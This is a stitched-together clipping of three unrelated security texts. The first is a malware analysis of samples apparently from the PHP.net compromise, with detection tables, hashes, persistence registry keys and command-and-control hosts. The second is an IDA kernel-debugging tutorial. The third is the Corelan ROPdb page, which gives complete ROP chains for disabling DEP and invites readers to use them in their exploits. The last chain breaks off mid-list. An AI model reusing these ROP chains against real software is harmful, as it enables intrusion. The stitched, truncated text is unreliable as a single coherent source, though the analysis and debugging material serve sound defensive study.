AntiVir|  | 20131025  
Antiy-AVL|  | 20131025  
Avast|  | 20131026  
AVG| ScreenLocker\_s.KG| 20131025  
Baidu-International| Trojan.Win32.Ransom.AU| 20131025  
BitDefender|  | 20090218  
Bkav|  | 20131025  
ByteHero|  | 20131025  
CAT-QuickHeal|  | 20131023  
ClamAV|  | 20131025  
Commtouch|  | 20131026  
Comodo|  | 20131026  
DrWeb| Trojan.Siggen5.60588| 20131026  
Emsisoft| Trojan.GenericKDV.1360899 \(B\)| 20131026  
ESET-NOD32| Win32/TrojanDownloader.Zurgop.AZ| 20131026  
F-Prot|  | 20131026  
F-Secure| Trojan.GenericKDV.1360899| 20131026  
Fortinet| W32/Zbot.PKDP\!tr| 20131026  
GData| Trojan.GenericKDV.1360899| 20131026  
Ikarus|  | 20131025  
Jiangmin|  | 20131025  
K7AntiVirus|  | 20131025  
K7GW|  | 20131025  
Kaspersky| Trojan-Ransom.Win32.Foreign.iyld| 20131026  
Kingsoft|  | 20130829  
Malwarebytes| Spyware.Zbot.ED| 20131026  
McAfee| RDN/Ransom\!ds| 20131026  
McAfee-GW-Edition| Artemis\!DC0DBF82E756| 20131026  
Microsoft|  | 20131026  
MicroWorld-eScan|  | 20131025  
NANO-Antivirus|  | 20131026  
Norman|  | 20131025  
nProtect|  | 20131025  
Panda| Suspicious file| 20131025  
Rising|  | 20131025  
Sophos| Mal/Generic-S| 20131026  
SUPERAntiSpyware|  | 20131025  
Symantec| Trojan.Ransomlock.Q| 20131026  
TheHacker|  | 20131025  
TotalDefense|  | 20131025  
TrendMicro| TROJ\_RANSOM.PHP| 20131026  
TrendMicro-HouseCall| TROJ\_RANSOM.PHP| 20131026  
VBA32|  | 20131025  
VIPRE|  | 20131026  
ViRobot|  | 20131026  
##### Additional Details

maska\shmel\kkt\kosogla\Release\\.pdb  
Description: BLEND VWDExpress IDE Extension  
Company: ProperWay Software  
Original Filename: platform2.exe

  
  

<img src='img/Temp2_641.png' alt='stopmalvertising.com' />

406d6001e16e76622d85a92ae3453588.exeAdditional information  
---  
**SHA256:** 3483a7264a3bef074d0c2715e90350ca1aa7387dee937679702d5ad79b0c84ca  
**SHA1:** 1aa4d96fdcafe8dbece906c68772614bfe72ceaa  
**MD5:** 406d6001e16e76622d85a92ae3453588  
**File size:** 126.0 KB \( 129024 bytes \)  
**File type:** Win32 EXE  
**Detection ratio:** 22 / 47  
**Analysis date:** 2013-10-26 03:57:44 UTC  
Antivirus| Result| Update  
---|---|---  
Agnitum|  | 20131025  
AhnLab-V3| Trojan/Win32.Foreign| 20131025  
AntiVir| TR/Agent.cada.19074| 20131025  
Antiy-AVL|  | 20131025  
Avast|  | 20131026  
AVG| ScreenLocker\_s.KC| 20131025  
Baidu-International| Trojan.Win32.Ransom.AxsU| 20131025  
BitDefender|  | 20090218  
Bkav|  | 20131025  
ByteHero|  | 20131025  
CAT-QuickHeal|  | 20131023  
ClamAV|  | 20131025  
Commtouch|  | 20131026  
Comodo|  | 20131026  
DrWeb| Trojan.Siggen5.60585| 20131026  
Emsisoft| Trojan.GenericKDV.1359732 \(B\)| 20131026  
ESET-NOD32| Win32/LockScreen.APR| 20131026  
F-Prot|  | 20131026  
F-Secure| Trojan.GenericKDV.1359732| 20131026  
Fortinet| W32/Zbot.PKDP\!tr| 20131026  
GData| Trojan.GenericKDV.1359732| 20131026  
Ikarus|  | 20131025  
Jiangmin|  | 20131025  
K7AntiVirus| Trojan| 20131025  
K7GW| Trojan| 20131025  
Kaspersky| Trojan-Ransom.Win32.Foreign.iymm| 20131026  
Kingsoft|  | 20130829  
Malwarebytes| Spyware.Zbot.ED| 20131026  
McAfee| RDN/Ransom\!ds| 20131026  
McAfee-GW-Edition| RDN/Ransom\!ds| 20131026  
Microsoft|  | 20131026  
MicroWorld-eScan|  | 20131025  
NANO-Antivirus|  | 20131026  
Norman| Suspicious\_Gen4.FERCJ| 20131025  
nProtect|  | 20131025  
Panda| Suspicious file| 20131025  
Rising|  | 20131025  
Sophos| Mal/Generic-S| 20131026  
SUPERAntiSpyware|  | 20131025  
Symantec| Trojan.Ransomlock.Q| 20131026  
TheHacker|  | 20131025  
TotalDefense|  | 20131025  
TrendMicro| TROJ\_RANSOM.PHP| 20131026  
TrendMicro-HouseCall| TROJ\_RANSOM.PHP| 20131026  
VBA32|  | 20131025  
VIPRE|  | 20131026  
ViRobot|  | 20131026  
##### Additional Details

maska\shmel\kkt\kosogla\Release\\.pdb  
Description: BLEND VWDExpress IDE Extension  
Company: ProperWay Software

HKEY\_CURRENT\_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
"shell"  
Type: REG\_SZ  
Data: explorer.exe,C:\Documents and Settings\KLY\Application Data\skype.dat  

c:\Documents and Settings\KLY\Application Data\skype.dat  
Date: 8/4/2004 11:00 PM  
Size: 129,024 bytes  

This is the **United States Courts Ransomware**.

  
  

<img src='img/Temp2_641.png' alt='stopmalvertising.com' />

c73134f67fd261dedbc1b685b49d1fa4.exeAdditional information  
---  
**SHA256:** d78fb2c23422471657a077ff68906d6f6b639d7b7b00ef269fa3a2ce1b38710a  
**SHA1:** e129d6ffce20075e1c4c6f3a758fe3e4481e66be  
**MD5:** c73134f67fd261dedbc1b685b49d1fa4  
**File size:** 132.0 KB \( 135168 bytes \)  
**File type:** Win32 EXE  
**Detection ratio:** 22 / 47  
**Analysis date:** 2013-10-26 03:57:46 UTC  
Antivirus| Result| Update  
---|---|---  
Agnitum|  | 20131025  
AhnLab-V3| Trojan/Win32.Manna| 20131025  
AntiVir|  | 20131025  
Antiy-AVL|  | 20131025  
Avast| Win32:Malware-gen| 20131026  
AVG| Crypt2.BQSQ| 20131025  
Baidu-International| Trojan.Win32.Kryptik.BNHP| 20131025  
BitDefender|  | 20090218  
Bkav|  | 20131025  
ByteHero|  | 20131025  
CAT-QuickHeal|  | 20131023  
ClamAV|  | 20131025  
Commtouch|  | 20131026  
Comodo| UnclassifiedMalware| 20131026  
DrWeb| Trojan.Siggen5.60586| 20131026  
Emsisoft| Trojan.GenericKDV.1359559 \(B\)| 20131026  
ESET-NOD32| a variant of Win32/Kryptik.BNKB| 20131026  
F-Prot|  | 20131026  
F-Secure| Trojan.GenericKDV.1359559| 20131026  
Fortinet| W32/Kryptik.BNKB| 20131026  
GData| Trojan.GenericKDV.1359559| 20131026  
Ikarus|  | 20131025  
Jiangmin|  | 20131025  
K7AntiVirus| Trojan| 20131025  
K7GW| Trojan| 20131025  
Kaspersky| Trojan.Win32.Manna.arn| 20131026  
Kingsoft| Win32.Troj.Generic.a.\(kcloud\)| 20130829  
Malwarebytes|  | 20131026  
McAfee| RDN/Generic.tfr\!dr| 20131026  
McAfee-GW-Edition| RDN/Generic.tfr\!dr| 20131026  
Microsoft|  | 20131026  
MicroWorld-eScan|  | 20131025  
NANO-Antivirus|  | 20131026  
Norman|  | 20131025  
nProtect|  | 20131025  
Panda|  | 20131025  
Rising|  | 20131025  
Sophos| Mal/Generic-S| 20131026  
SUPERAntiSpyware|  | 20131025  
Symantec| Trojan.Adclicker| 20131026  
TheHacker|  | 20131025  
TotalDefense|  | 20131025  
TrendMicro| TROJ\_DROPPR.PHP| 20131026  
TrendMicro-HouseCall| TROJ\_DROPPR.PHP| 20131026  
VBA32|  | 20131025  
VIPRE| Trojan.Win32.Generic\!BT| 20131026  
ViRobot|  | 20131026  
##### Additional Details

12:21:17 \[EXECUTION\] "c:\windows\system32\services.exe" was allowed to run  
\[EXECUTION\] Started by "Unknown Process" \[1168\]  
\[EXECUTION\] Commandline - \[ "c:\documents and
settings\kly\desktop\338afb63.exe" \]  
12:21:17 \[MODIFY\] c:\documents and settings\kly\desktop\338afb63.exe
\[1168\] was blocked from modifying c:\windows\system32\services.exe \[1612\]  
12:21:18 \[EXECUTION\] "c:\windows\system32\services.exe" was allowed to run  
\[EXECUTION\] Started by "Unknown Process" \[1904\]  
\[EXECUTION\] Commandline - \[ "c:\documents and
settings\kly\desktop\338afb63.exe" \]  
12:22:18 \[EXECUTION\] "c:\windows\system32\services.exe" was allowed to run  

HKEY\_CURRENT\_USER\Software\Adobe\Adobe ARM\1.0\ARM "tLast\_ReadedSpec"  
Type: REG\_BINARY  
Data: F1, 1E, 5E, 21, 49, F4, D6, 0F, E7, C4, B1, 63, A7, 79, 3F, 5E, 1C, FF,
16, 70, DC, 8B, FB, FD, E8, 91, F3, 63  
HKEY\_CURRENT\_USER\Software\Microsoft\Internet
Explorer\Main\FeatureControl\FEATURE\_BROWSER\_EMULATION "twunk\_32.exe"  
Type: REG\_DWORD  
Data: 40, 1F, 00, 00  
HKEY\_CURRENT\_USER\Software\Microsoft\Internet
Explorer\Main\FeatureControl\FEATURE\_BROWSER\_EMULATION "winhlp32.exe"  
Type: REG\_DWORD  
Data: 40, 1F, 00, 00  
HKEY\_CURRENT\_USER\Software\Microsoft\Windows
NT\CurrentVersion\EFS\CurrentKeys "CertificateHash"  
Type: REG\_BINARY  
Data: 6A, 66, 7D, 82, 25, 7D, 9A, 4F, D2, 30, D4, DE, 4E, D3, A1, F5, 0C, D4,
A9, B9  
HKEY\_CURRENT\_USER\Software\Microsoft\Windows
NT\CurrentVersion\EFS\CurrentKeys "Flag"  
Type: REG\_DWORD  
Data: 02, 00, 00, 00  
HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates\6A667D82257D9A4FD230D4DE4ED3A1F50CD4A9B9
"Blob"  
Type: REG\_BINARY  
Data: \(data too large: 752 bytes\)  

c:\Documents and Settings\KLY\Application Data\verison.dll  
Date: 10/28/2013 12:29 PM  
Size: 135,168 bytes  
c:\Documents and Settings\KLY\Application
Data\Microsoft\Crypto\RSA\S-1-5-21-1343024091-1935655697-1202660629-1003\f7861bb99819925ce4d5e5f8cf2ab529\_b071f4ac-0bac-4c14-9f6c-ac3437b6abcb  
Date: 10/28/2013 12:29 PM  
Size: 1,305 bytes  
c:\Documents and Settings\KLY\Application
Data\Microsoft\Protect\S-1-5-21-1343024091-1935655697-1202660629-1003\b1135109-d906-4946-8b07-14226df6702b  
Date: 10/28/2013 12:29 PM  
Size: 388 bytes  
c:\Documents and Settings\KLY\Application
Data\Microsoft\SystemCertificates\My\Certificates\6A667D82257D9A4FD230D4DE4ED3A1F50CD4A9B9  
Date: 10/28/2013 12:29 PM  
Size: 780 bytes  
c:\Documents and Settings\KLY\Start Menu\Programs\Startup\HpM3Util.exe  
Date: 10/28/2013 12:29 PM  
Size: 135,168 bytes  

The payload did write in the memory space of **services.exe** which is now
accessing internet. A first request goes to Google followed by an attempt to
contact **uocqiumsciscqaiu.org**.

<img src='img/Temp2_632.png' alt='Analysis of the PHP.net compromise -
Magnitude EK' />

The domain is using Fast Flux DNS with a TTL of 2 minutes and 30 seconds.

<img src='img/Temp2_633.png' alt='Analysis of the PHP.net compromise -
Magnitude EK' />

Data Exchange between uocqiumsciscqaiu.org and the PC.

<img src='img/Temp2_640.png' alt='Analysis of the PHP.net compromise -
Magnitude EK' />

Based on the info gathered and the VirusTotal results, I suspect this is a
variant of Win32/Redyms.

  
  

<img src='img/Temp2_641.png' alt='stopmalvertising.com' />

18f4d13f7670866f96822e4683137dd6.exeAdditional information  
---  
**SHA256:** bd56609c386a6b5bc18254c7327d221af182193eee5008f6e405ab5c1215b070  
**SHA1:** bf72e602f6499e604e5c14c7a63300c6aff84fde  
**MD5:** 18f4d13f7670866f96822e4683137dd6  
**File size:** 233.5 KB \( 239104 bytes \)  
**File type:** Win32 EXE  
**Detection ratio:** 23 / 46  
**Analysis date:** 2013-10-26 03:57:49 UTC  
Antivirus| Result| Update  
---|---|---  
Agnitum|  | 20131025  
AhnLab-V3| Backdoor/Win32.ZAccess| 20131025  
AntiVir| TR/Crypt.EPACK.60563| 20131025  
Antiy-AVL|  | 20131025  
Avast| Win32:Malware-gen| 20131026  
AVG| Crypt2.BRAU| 20131025  
Baidu-International| Trojan.Win32.Kryptik.BNFW| 20131025  
BitDefender|  | 20090218  
Bkav|  | 20131025  
ByteHero|  | 20130924  
CAT-QuickHeal|  | 20131023  
ClamAV|  | 20131025  
Commtouch|  | 20131026  
Comodo|  | 20131026  
DrWeb| Trojan.Siggen5.60587| 20131026  
Emsisoft| Gen:Variant.Kazy.274215 \(B\)| 20131026  
ESET-NOD32| a variant of Win32/Kryptik.BNMB| 20131026  
F-Prot|  | 20131026  
Fortinet| W32/Kryptik.Y\!tr| 20131026  
GData| Gen:Variant.Kazy.274215| 20131026  
Ikarus|  | 20131025  
Jiangmin|  | 20131025  
K7AntiVirus| Trojan| 20131025  
K7GW| Trojan| 20131025  
Kaspersky| Backdoor.Win32.ZAccess.enbz| 20131026  
Kingsoft|  | 20130829  
Malwarebytes| Trojan.FakeApach| 20131026  
McAfee| ZeroAccess-FEC\!18F4D13F7670| 20131026  
McAfee-GW-Edition| ZeroAccess-FEC\!18F4D13F7670| 20131026  
Microsoft| Trojan:Win32/Sirefef.P| 20131026  
MicroWorld-eScan|  | 20131025  
NANO-Antivirus|  | 20131026  
Norman|  | 20131025  
nProtect|  | 20131025  
Panda|  | 20131025  
Rising|  | 20131025  
Sophos| Mal/EncPk-AKS| 20131026  
SUPERAntiSpyware| Trojan.Agent/Gen-FalComp| 20131025  
Symantec| Trojan.Zeroaccess.C| 20131026  
TheHacker|  | 20131025  
TotalDefense|  | 20131025  
TrendMicro| TROJ\_SIREFEF.PHP| 20131026  
TrendMicro-HouseCall| TROJ\_SIREFEF.PHP| 20131026  
VBA32|  | 20131025  
VIPRE| Trojan.Win32.Generic\!SB.0| 20131026  
ViRobot|  | 20131026  
##### Additional Details

d6r\zm\37o\j4kvd\h39l\c9eufwsi4.pdb  
Copyright 2012 The Apashe Software Foundation.  
Description: ApacheBench command line utility  
Company: Crash Software Foundazion

12:39:31 \[MODIFY\] c:\documents and settings\kly\desktop\676ff540.exe \[652\]
was blocked from modifying c:\windows\explorer.exe \[1276\]  
12:39:32 \[DRIVER/SERVICE\] c:\documents and settings\kly\desktop\676ff540.exe
\[652\] Tried to install a driver/service named gupdate  
12:39:32 \[DRIVER/SERVICE\] c:\windows\system32\svchost.exe \[936\] Tried to
install a driver/service named SharedAccess  

c:\Documents and Settings\KLY\Local Settings\Application Data\Google  
c:\Documents and Settings\KLY\Local Settings\Application Data\Google\Desktop  
c:\Documents and Settings\KLY\Local Settings\Application
Data\Google\Desktop\Install  
c:\Documents and Settings\KLY\Local Settings\Application
Data\Google\Desktop\Install\\\{7ca9801f-01d8-7260-096d-a3ea4ef6b029\}  
c:\Documents and Settings\KLY\Local Settings\Application
Data\Google\Desktop\Install\\\{7ca9801f-01d8-7260-096d-a3ea4ef6b029\}\???  
c:\Program Files\Google  
c:\Program Files\Google\Desktop  
c:\Program Files\Google\Desktop\Install  
c:\Program
Files\Google\Desktop\Install\\\{7ca9801f-01d8-7260-096d-a3ea4ef6b029\}  
c:\Program
Files\Google\Desktop\Install\\\{7ca9801f-01d8-7260-096d-a3ea4ef6b029\}\  
c:\Program
Files\Google\Desktop\Install\\\{7ca9801f-01d8-7260-096d-a3ea4ef6b029\}\ \  
c:\Program
Files\Google\Desktop\Install\\\{7ca9801f-01d8-7260-096d-a3ea4ef6b029\}\ \ \???  
c:\WINDOWS\assembly\GAC  
  
c:\WINDOWS\assembly\GAC\Desktop.ini  
Date: 10/28/2013 12:45 PM  
Size: 5,632 bytes  

ZeroAccess Rootkit and it's internet activity. ZeroAccess also requests
geoip.js from Maxmind.

<img src='img/Temp2_636.png' alt='Analysis of the PHP.net compromise -
Magnitude EK' />

<img src='img/Temp2_630.png' alt='Analysis of the PHP.net compromise -
Magnitude EK' />

<img src='img/Temp2_638.png' alt='Analysis of the PHP.net compromise -
Magnitude EK' />

  
  

<img src='img/Temp2_641.png' alt='stopmalvertising.com' />

78a5f0bc44fa387310d6571ed752e217.exeAdditional information  
---  
**SHA256:** 816b21df749b17029af83f94273fe0fe480d25ee2f84fb25bf97d06a8fadefe4  
**SHA1:** d8ecdf6554ae8ab669d8565b3fd8866e86347fdc  
**MD5:** 78a5f0bc44fa387310d6571ed752e217  
**File size:** 236.0 KB \( 241664 bytes \)  
**File type:** Win32 EXE  
**Detection ratio:** 23 / 46  
**Analysis date:** 2013-10-26 03:57:42 UTC  
Antivirus| Result| Update  
---|---|---  
Agnitum|  | 20131025  
AhnLab-V3| Trojan/Win32.Tepfer| 20131025  
AntiVir| TR/PSW.Papras.CP.1| 20131025  
Antiy-AVL|  | 20131025  
Avast| Win32:Agent-ASFK \[Trj\]| 20131026  
AVG| PSW.Generic12.ETY| 20131025  
Baidu-International| Trojan.Win32.InfoStealer.AAk| 20131025  
BitDefender|  | 20090218  
Bkav|  | 20131025  
ByteHero|  | 20130924  
CAT-QuickHeal|  | 20131023  
ClamAV|  | 20131025  
Commtouch|  | 20131026  
Comodo| UnclassifiedMalware| 20131026  
DrWeb| Trojan.PWS.Stealer.3524| 20131026  
Emsisoft| Trojan-PSW.Win32.Tepfer \(A\)| 20131026  
ESET-NOD32| Win32/PSW.Papras.CP| 20131026  
F-Prot|  | 20131026  
F-Secure|  | 20131026  
Fortinet| W32/Tepfer.CP\!tr.pws| 20131026  
GData| Win32.Trojan.Agent.9KVZTT| 20131026  
Ikarus| Trojan-PWS.Win32.Tepfer| 20131025  
Jiangmin|  | 20131025  
K7AntiVirus|  | 20131025  
K7GW|  | 20131025  
Kaspersky| Trojan-PSW.Win32.Tepfer.rjtq| 20131026  
Kingsoft|  | 20130829  
Malwarebytes| Spyware.Zbot.ED| 20131026  
McAfee| Generic PWS.o| 20131026  
McAfee-GW-Edition| Generic PWS.o| 20131026  
Microsoft| Backdoor:Win32/Vawtrak.A| 20131026  
MicroWorld-eScan|  | 20131025  
NANO-Antivirus|  | 20131026  
Norman| Kryptik.CCQZ| 20131025  
nProtect|  | 20131025  
Panda| Trj/dtcontx.I| 20131025  
Rising|  | 20131025  
Sophos| Mal/Generic-S| 20131026  
SUPERAntiSpyware|  | 20131025  
Symantec| Trojan.Ransomlock.G| 20131026  
TheHacker|  | 20131025  
TotalDefense|  | 20131025  
TrendMicro| TSPY\_FAREIT.PHP| 20131026  
VBA32|  | 20131025  
VIPRE| Trojan.Win32.Generic\!BT| 20131026  
ViRobot|  | 20131026  
##### Additional Details

13:15:47 \[EXECUTION\] "c:\documents and settings\kly\desktop\3c2815ed.exe"
was allowed to run  
\[EXECUTION\] Started by "c:\windows\explorer.exe" \[1284\]  
\[EXECUTION\] Commandline - \[ "c:\documents and
settings\kly\desktop\3c2815ed.exe" \]  
13:15:48 \[MODIFY\] c:\documents and settings\kly\desktop\3c2815ed.exe \[160\]
was blocked from modifying c:\windows\explorer.exe \[1284\]  
13:15:48 \[MODIFY\] c:\documents and settings\kly\desktop\3c2815ed.exe \[160\]
was blocked from modifying c:\program files\virtual machine
additions\vmusrvc.exe \[352\]  
13:15:48 \[MODIFY\] c:\documents and settings\kly\desktop\3c2815ed.exe \[160\]
was blocked from modifying c:\program files\common files\symantec
shared\ccapp.exe \[396\]  
13:15:48 \[MODIFY\] c:\documents and settings\kly\desktop\3c2815ed.exe \[160\]
was blocked from modifying c:\program files\processguard\pgaccount.exe \[428\]  
13:15:48 \[MODIFY\] c:\documents and settings\kly\desktop\3c2815ed.exe \[160\]
was blocked from modifying c:\program files\processguard\procguard.exe \[744\]  

HKEY\_CURRENT\_USER\Software\Microsoft\Internet Explorer\Main
"NoProtectedModeBanner"  
Type: REG\_DWORD  
Data: 01, 00, 00, 00  
HKEY\_CURRENT\_USER\Software\Microsoft\Internet Explorer\Main "TabProcGrowth"  
Type: REG\_DWORD  
Data: 00, 00, 00, 00  
HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\Zones\3 "2500"  
Type: REG\_DWORD  
Data: 03, 00, 00, 00  
HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run "tzsizv"  
Type: REG\_SZ  
Data: regsvr32.exe /s "C:\Documents and Settings\All Users\Application
Data\tzsizv.dat"  

c:\Documents and Settings\All Users\Application Data\tzsizv.dat  
Date: 10/28/2013 1:19 PM  
Size: 208,896 bytes  

This backdoor malware contacts a remote attacker by connecting to a certain
server. Some of the servers it has been known to connect to are:

  * 188.190.126.87
  * 188.190.127.87
  * 195.137.188.50
  * 195.191.56.247
  * 195.210.47.173
  * afg.com.tw
  * countdown.com.tw
  * miison.com.tw

Once connected, the remote attacker may do the following:

  * Log your keystrokes
  * Take screenshots of your desktop
  * Open a remote command shell
  * Download and run arbitrary files
  * find out what processes are running in your computer
  * Get a list of your visited websites
  * Delete your browser cache
  * Delete arbitrary files
  * Steal digital certificates saved in your computer
  * Steal IE and Firefox cookies
  * Start or stop processes like IE, Firefox, Outlook, Windows Explorer, Command prompt, and Task Manager
  * Change Firefox settings

This backdoor malware might steal information like your user name and password
for certain websites. We have observed this malware to steal this information
if you visit any of these websites:

  * caixaebanking.cgd.pt
  * chaseonline.chase.com

Note that the monitored websites might vary from sample to sample of this
malware.

The stolen credentials are then sent to the remote attacker.

# Kernel debugging with IDA - RCE Messageboard's Regroupment

**Created:**| _10/13/2009 8:46:47 PM_  
---|---  
**Updated:**| _10/13/2009 8:46:56 PM_  
**Author:**| __  
**Tags:**| _Debugging iDA kernel_  
  

**Kernel debugging with IDA**

* * *
When IDA introduced debugging facilities years ago, the task of analyzing
hostile code became more enriched: no more looking at static code and figuring
out what it does, instead just run the malware in a virtual machine and debug
it remotely, even debug just a small code snippet from the database \(Bochs
based debugger plugin\).  
  
With IDA 5.4 release, in addition to the Bochs and GDB plugins, we also
introduced a debugger plugin based on Microsoft's Debugger Engine\(the same
engine used by Windbg, cdb and kd\). With this addition to IDA you can now
debug live kernel targets as well.  
  
For user mode debugging the Windbg debugger plugin beats the win32 debugger
plugin, by providing you access to a wide range of extensions that ship with
the debugging tools from Microsoft.  
For kernel debugging, you can use Bochs/Disk Image loader or GDB plugin to
debug the whole operating system from Bios code and on.  
However when Windbg plugin is used, you get the raw power of the debugging
engine \(extensions / built-in commands, symbols, ...\).  
  
We prepared a video showing how to debug kernel mode and user mode at the same
time with full symbolic information \(provided from the PDB files\).  
The video also demonstrates how to set breakpoints on user mode APIs and see
them get triggered when any application in the system uses those APIs.  
  
Before viewing the video, for those willing to experiment with the Windbg
debugger plugin to debug kernel mode and user mode at the same time, here is
how to prepare a database:  

  1. If you never used the Windbg debugger plugin before please visit the Windbg plugin tutorial page
  2. Setup a process server inside the VM and attach to it from IDA to debug just any user mode application
  3. Once attached, go to desired segments \(kernel32, user32, advapi32, gdi32, etc...\) and convert them to loader segments
  4. If symbol retrieval mechanism was properly configured then most system DLLs will have symbol information, otherwise only exported names will available
  5. Now we have a database with all user mode components we wish to inspect from the live kernel debugging session
  6. Using the same database, change the connection string so that it connects to the same VM for the purpose of live kernel debugging this time
  7. Once attached to the kernel, IDA will present loaded drivers and kernel mode modules in the debugger / modules list
  8. It is possible to convert to loader segments the kernel mode components of interestThat's it\! The database is now suited for kernel debugging, yet contains names and addresses of user mode components

The video will put everything into perspective\!  
  
  
  
http://hexblog.com/2009/01/kernel\_debugging\_with\_ida.html

# Corelan ROPdb | Corelan Team
**Created:**| _7/15/2011 2:27:14 PM_  
---|---  
**Updated:**| _7/15/2011 2:36:17 PM_  
**Author:**| __  
**Tags:**| _rop_  
  

## Corelan ROPdb

This page gathers generic/universal ROP chains that are solely based on
gadgets taken from a single dll.

The main requirements for a ROP chain to be listed here are:

  * it must work on XP, Vista, Windows 7, 2003 and 2008 server. \(the dll should not rebase and should not be ASLR enabled\). If your ROP chain only works on one of the listed operating systems, it must be based on a commonly used module.
  * the chain should be null byte free \(unless it’s a common module which contains null bytes\)
  * the chain should work without any particular setup in terms of preparing registers or assuming that a register contains a given value.
  * you must be the original author of the chain

Ideally, the dll should be not application specific, unless it’s shipped with
a major application and/or has the option to get loaded from f.i. a web
browser.

If you want to submit your own chain, make sure to include details about the
module \(name, version, applications it gets shipped with\), and indicate if
and how the dll can be loaded on demand \(if applicable\).

Write your chain in the format shown below \(ruby\) and send it to peter
\[dot\] ve \{at\} corelan \[dot\] be

> Feel free to use the chains below in your exploits, just don’t forget to
> credit the original author\(s\)
* * *
### msvcr71.dll – v7.10.3052.4

  * Shipped with : JRE \(Java\)
  * works on : XP/Vista/Win7/2003/2008
  * Load on demand in browser : YES
  * Rebase : False
  * ASLR : False
  * Safeseh : True
  * Base : 0x7c340000
  * Top : 0x7c396000
  * Size : 0×56000
  * Technique : kernel32.VirtualProtect\(\)
  * Author : corelanc0d3r

[code]

    rop_gadgets =
    [
    0x7c346c0a,# POP EAX # RETN (MSVCR71.dll)
    0x7c37a140,# Make EAX readable
    0x7c37591f,# PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
    0x41414141,# EBP (filler)
    0x7c346c0a,# POP EAX # RETN (MSVCR71.dll)
    0x7c37a140,# <- *&VirtualProtect()
    0x7c3530ea,# MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
    0x7c346c0b,# Slide, so next gadget would write to correct stack location
    0x7c376069,# MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
    0x41414141,# EDI (filler)
           0x41414141,# will be patched at runtime (VP), then picked up into ESI
           0x41414141,# EBX (filler)
    0x7c376402,# POP EBP # RETN (msvcr71.dll)
    0x7c345c30,# ptr to 'push esp #  ret ' (from MSVCR71.dll)
    0x7c346c0a,# POP EAX # RETN (MSVCR71.dll)
    0xfffffdff,# size 0x00000201 -> ebx, modify if needed
    0x7c351e05,# NEG EAX # RETN (MSVCR71.dll)
    0x7c354901,# POP EBX # RETN (MSVCR71.dll)
    0xffffffff,# pop value into ebx
    0x7c345255,# INC EBX # FPATAN # RETN (MSVCR71.dll)
    0x7c352174,# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
    0x7c34d201,# POP ECX # RETN (MSVCR71.dll)
    0x7c38b001,# RW pointer (lpOldProtect) (-> ecx)
    0x7c34b8d7,# POP EDI # RETN (MSVCR71.dll)
    0x7c34b8d8,# ROP NOP (-> edi)
    0x7c344f87,# POP EDX # RETN (MSVCR71.dll)
    0xffffffc0,# value to negate, target value : 0x00000040, target: edx
    0x7c351eb1,# NEG EDX # RETN (MSVCR71.dll)
    0x7c346c0a,# POP EAX # RETN (MSVCR71.dll)
    0x90909090,# NOPS (-> eax)
    0x7c378c81,# PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
    # rop chain generated with mona.py
    ].pack("V*")
    
[/code]

* * *
### mfc71u.dll – v7.10.3077.0

  * Rebase : False
  * ASLR : False
  * Safeseh : True
  * Base : 0x7c250000
  * Top : 0x7c352000
  * Size : 0×102000
  * Technique : kernel32.VirtualProtect\(\)
  * Author : corelanc0d3r

[code]

    rop_gadgets =
    [
    0x7c259e0c,# POP ECX # RETN (MFC71U.DLL)
    0x7c2512f0,# <- *&VirtualProtect()
    0x7c2fe7bc,# MOV EAX,DWORD PTR DS:[ECX] # RETN (MFC71U.DLL)
    0x7c26f014,# XCHG EAX,ESI # RETN (MFC71U.DLL)
    0x7c2c0809,# POP EBP # RETN (MFC71U.DLL)
    0x7c289989,# ptr to 'jmp esp' (from MFC71U.DLL)
    0x7c259e0c,# POP ECX # RETN (MFC71U.DLL)
    0x7c32b001,# RW pointer (lpOldProtect) (-> ecx)
    0x7c2de810,# POP EDI # RETN (MFC71U.DLL)
    0x7c2de811,# ROP NOP (-> edi)
    0x7c284862,# POP EAX # RETN (MFC71U.DLL)
    0xffffffc0,# value to negate, target 0x00000040, -> reg : edx, via ebx
    0x7c252ea0,# NEG EAX # RETN (MFC71U.DLL)
    0x7c316b89,# XCHG EAX,EBX # RETN (MFC71U.DLL)
    0x7c288c52,# XOR EDX,EDX # RETN (MFC71U.DLL)
    0x7c265297,# ADD EDX,EBX # POP EBX # RETN 10 (MFC71U.DLL)
    0x41414141,# EBX
    0x7c284862,# POP EAX # RETN (MFC71U.DLL)
    0x41414141,
    0x41414141,
    0x41414141,
    0x41414141, # compensate for RETN 10
    0xfffffdff,# value to negate, target 0x00000201, target reg : ebx
    0x7c252ea0,# NEG EAX # RETN (MFC71U.DLL)
    0x7c316b89,# XCHG EAX,EBX # RETN (MFC71U.DLL) (dwSize)
    0x7c284862,# POP EAX # RETN (MFC71U.DLL)
    0x90909090,# NOPS (-> eax)
    0x7c2838ef,# PUSHAD # RETN (MFC71U.DLL)
    # rop chain generated with mona.py
    ].pack("V*")
    
[/code]

* * *
## Less generic chains

* * *
### advapi32.dll – 5.1.2600.5755

  * OS Module
  * Chain works on : XP \(SP3\)
  * Rebase : False
  * ASLR : False
  * Safeseh : True
  * Base : 0x77dd0000
  * Top : 0x77e6b000
  * Size : 0x9b000
  * Technique : ntdll.ZwSetInformationProcess\(\)
  * Author : corelanc0d3r

[code]

    rop_gadgets =
    [
    0x77e25c1f, # POP EAX # RETN
    0x77dd1404, # * &NtSetInformationProcess
    0x77dfd448, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04 
    0xffffffff, # (EBP)
    0x77e18a5f, # INC EBP # RETN (set EBP to 0)
    0x41414141, # junk (compensate)
    0x77e01143, # XOR EBP,EAX # RETN
    0x77e25c1f, # POP EAX # RETN 
    0xffffffde, # -> 0x22 -> EDX
    0x77dd9b16, # NEG EAX # RETN 
    0x77df563a, # XCHG EAX,EBX # RETN 
    0x77de97ac, # MOV EDX,EBX # POP ESI # POP EBX # RETN 10 
    0x77e3cb79, # RETN -> ESI
    0xffffffff, # -> EBX
    0x77ddbf44, # POP ECX # RETN 
    0x41414141, # compensate
    0x41414141, # compensate
    0x41414141, # compensate
